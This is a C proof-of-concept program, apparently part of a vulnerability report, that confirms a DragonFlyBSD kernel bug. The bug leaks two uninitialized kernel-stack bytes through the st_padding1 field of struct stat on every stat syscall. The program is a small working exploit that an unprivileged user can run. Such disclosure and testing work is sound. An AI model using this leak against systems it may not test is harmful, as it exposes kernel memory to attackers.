/*
 * DF-0034 PoC - uninitialized st_padding1 leaked via every stat syscall.
 *
 * vn_stat (sys/kern/vfs_vnops.c:833-977) zeros the spare fields st_lspare and
 * st_qspare2 (:852-853) but NEVER writes sb->st_padding1 (sys/sys/stat.h:105,
 * __uint16_t). Every stat syscall handler declares `struct stat st;` on the
 * kernel stack unzeroed and copyout()s sizeof(struct stat), leaking 2 bytes of
 * uninitialized kernel stack per fstat/stat/lstat/fstatat/fhstat.
 *
 * Build (DragonFlyBSD):  cc -o leak_stpad leak_stpad.c
 * Run as an UNPRIVILEGED user:  ./leak_stpad | sort -u | head
 *
 * Expected (bug present): prints non-zero, varying byte pairs (kernel-stack
 * residue) at offsetof(struct stat, st_padding1). On a fixed kernel it is 0.
 */

#include <sys/stat.h>
#include <stddef.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>

int
main(void)
{
	int fd = open("/etc/passwd", O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }

	unsigned off = offsetof(struct stat, st_padding1);	/* 18 on amd64 */
	unsigned nonzero = 0;

	for (int i = 0; i < 20000; i++) {
		struct stat st;
		memset(&st, 0xAA, sizeof(st));		/* marker */
		if (fstat(fd, &st) != 0)
			continue;
		unsigned char a = ((unsigned char *)&st)[off];
		unsigned char b = ((unsigned char *)&st)[off + 1];
		if (a != 0xAA && a != 0x00)
			nonzero++;
		if (i < 8)
			printf("sample %d: st_padding1 = %02x %02x\n", i, a, b);
	}
	printf("\nsamples with non-marker/non-zero st_padding1 byte: %u\n", nonzero);
	printf("result: %s\n", nonzero ? "LEAK CONFIRMED" : "no residue this run");
	return nonzero ? 0 : 2;
}
